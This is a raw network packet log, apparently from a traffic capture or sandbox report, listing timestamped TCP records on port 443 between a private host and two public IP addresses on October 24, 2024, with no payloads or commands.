Oct 24, 2024 11:57:56.358269930 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.358289957 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.358344078 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.358392954 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.358661890 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.358724117 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.358728886 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.358742952 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.358803988 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.358817101 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.359159946 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.359211922 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.359224081 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.359302044 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.359359980 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.359383106 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.359419107 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.359445095 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.362489939 CEST	49751	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.362541914 CEST	443	49751	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.362638950 CEST	49751	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.363001108 CEST	49751	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.363023996 CEST	443	49751	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.976541042 CEST	443	49751	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.976871967 CEST	49751	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.976897955 CEST	443	49751	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.977965117 CEST	443	49751	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.978034019 CEST	49751	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.978384018 CEST	49751	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.978399992 CEST	49751	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.978446960 CEST	443	49751	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.978452921 CEST	49751	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.978507996 CEST	49751	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.978871107 CEST	49752	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.978929996 CEST	443	49752	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.979017973 CEST	49752	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.979242086 CEST	49752	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.979254961 CEST	443	49752	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:57.583642960 CEST	443	49752	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:57.584244013 CEST	49752	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:57.584261894 CEST	443	49752	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:57.586473942 CEST	443	49752	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:57.586951017 CEST	49752	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:57.586973906 CEST	49752	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:57.587138891 CEST	443	49752	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:57.636563063 CEST	49752	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:58.262990952 CEST	443	49752	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:58.263147116 CEST	443	49752	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:58.263251066 CEST	49752	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:58.263955116 CEST	49752	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:58.263968945 CEST	443	49752	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:02.311371088 CEST	49753	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.311403036 CEST	443	49753	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:02.311501026 CEST	49753	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.311983109 CEST	49753	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.312000036 CEST	443	49753	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:02.924757957 CEST	443	49753	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:02.925039053 CEST	49753	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.925051928 CEST	443	49753	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:02.926055908 CEST	443	49753	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:02.926126957 CEST	49753	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.926419973 CEST	49753	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.926419973 CEST	49753	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.926492929 CEST	49753	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.926508904 CEST	443	49753	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:02.926572084 CEST	49753	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.926800966 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.926831007 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:02.926908016 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.927232981 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:02.927248001 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:03.547198057 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:03.547513962 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:03.547540903 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:03.550533056 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:03.550606012 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:03.550898075 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:03.550976038 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:03.551053047 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:03.551059961 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:03.600512028 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.277566910 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.277710915 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.277785063 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.277801991 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.277889967 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.277947903 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.277954102 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.278054953 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.278111935 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.278117895 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.278223991 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.278276920 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.278281927 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.278392076 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.278444052 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.278450012 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.331527948 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.395721912 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.395901918 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.395956993 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.395968914 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.396069050 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.396122932 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.396128893 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.396239042 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.396289110 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.396295071 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.396603107 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.396662951 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.396668911 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.396828890 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.396883965 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.396889925 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.396987915 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.397042990 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.397048950 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.397762060 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.397823095 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.397829056 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.398041964 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.398092031 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.398097038 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.398220062 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.398277044 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.398282051 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.398374081 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.398427010 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.398439884 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.444559097 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.514297962 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.514496088 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.514626980 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.514637947 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.514724970 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.514784098 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.514790058 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.514913082 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.514966965 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.514972925 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.515067101 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.515115023 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.515120983 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.515156031 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.515203953 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.515209913 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.515420914 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.515486002 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.515567064 CEST	49754	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.515583038 CEST	443	49754	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.518153906 CEST	49755	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.518204927 CEST	443	49755	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:06.518306017 CEST	49755	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.518634081 CEST	49755	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:06.518656015 CEST	443	49755	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.130764961 CEST	443	49755	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.131064892 CEST	49755	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.131087065 CEST	443	49755	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.132158041 CEST	443	49755	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.132251024 CEST	49755	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.132567883 CEST	49755	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.132621050 CEST	49755	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.132621050 CEST	49755	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.132638931 CEST	443	49755	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.132705927 CEST	49755	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.132956028 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.133013010 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.133102894 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.133320093 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.133337021 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.753760099 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.754180908 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.754239082 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.756000996 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.756278992 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.756418943 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.756515980 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.756582022 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.803334951 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.811342955 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:07.811377048 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:07.858632088 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:08.419790983 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:08.419934988 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:08.420037031 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:08.420598030 CEST	49756	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:08.420618057 CEST	443	49756	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:09.432696104 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:09.432753086 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:09.432835102 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:09.433305979 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:09.433317900 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.545219898 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.545402050 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.548212051 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.548223019 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.548449039 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.557064056 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.599335909 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.980813980 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.980882883 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.980930090 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.980972052 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.981014967 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.981029034 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.981064081 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.981930971 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.981983900 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.982002974 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.982009888 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.982052088 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.984728098 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.984735012 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.984761953 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:10.985097885 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.985183001 CEST	443	49757	4.175.87.197	192.168.2.16
Oct 24, 2024 11:58:10.985230923 CEST	49757	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:58:16.286945105 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:16.286982059 CEST	443	49758	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:16.287067890 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:16.287364960 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:16.287375927 CEST	443	49758	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.337821007 CEST	443	49758	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.338242054 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.338254929 CEST	443	49758	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.339111090 CEST	443	49758	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.339195967 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.339648962 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.339648962 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.339704990 CEST	443	49758	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.339706898 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.339862108 CEST	443	49758	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.339862108 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.339925051 CEST	49758	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.340146065 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.340183020 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.340270042 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.340553999 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.340594053 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.936012983 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.936773062 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.936795950 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.937128067 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.937613010 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.937613010 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:17.937645912 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.937695026 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:17.991703033 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.032231092 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.032299995 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.032346964 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.032392025 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.032434940 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.032466888 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.032484055 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.032484055 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.032504082 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.032551050 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.032589912 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.032651901 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.032658100 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.085751057 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.085769892 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.133620024 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.147034883 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.147106886 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.147330999 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.147350073 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.147578955 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.147613049 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.147643089 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.147666931 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.147676945 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.147706985 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.148309946 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.148339987 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.148358107 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.148366928 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.148427963 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.262531042 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.262617111 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.262645006 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.262671947 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.262679100 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.262702942 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.262758017 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.263072014 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.263119936 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.263143063 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.263354063 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.263384104 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.263420105 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.263453960 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.263453960 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.263463020 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.308593988 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.308619976 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.356693029 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.377662897 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.377717972 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.377742052 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.377777100 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.377778053 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.377803087 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.377850056 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.379055023 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.379106045 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.379122019 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.379131079 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.379163980 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.379200935 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.379209995 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.379216909 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.379267931 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.379321098 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.379384041 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.379484892 CEST	49759	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.379498005 CEST	443	49759	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.382276058 CEST	49761	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.382297993 CEST	443	49761	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.382375002 CEST	49761	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.382673025 CEST	49761	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.382684946 CEST	443	49761	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.986596107 CEST	443	49761	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.986877918 CEST	49761	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.986896038 CEST	443	49761	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.987905979 CEST	443	49761	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.987968922 CEST	49761	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.988260031 CEST	49761	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.988317966 CEST	49761	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.988318920 CEST	49761	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.988320112 CEST	443	49761	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.988399982 CEST	49761	443	192.168.2.16	104.21.68.211
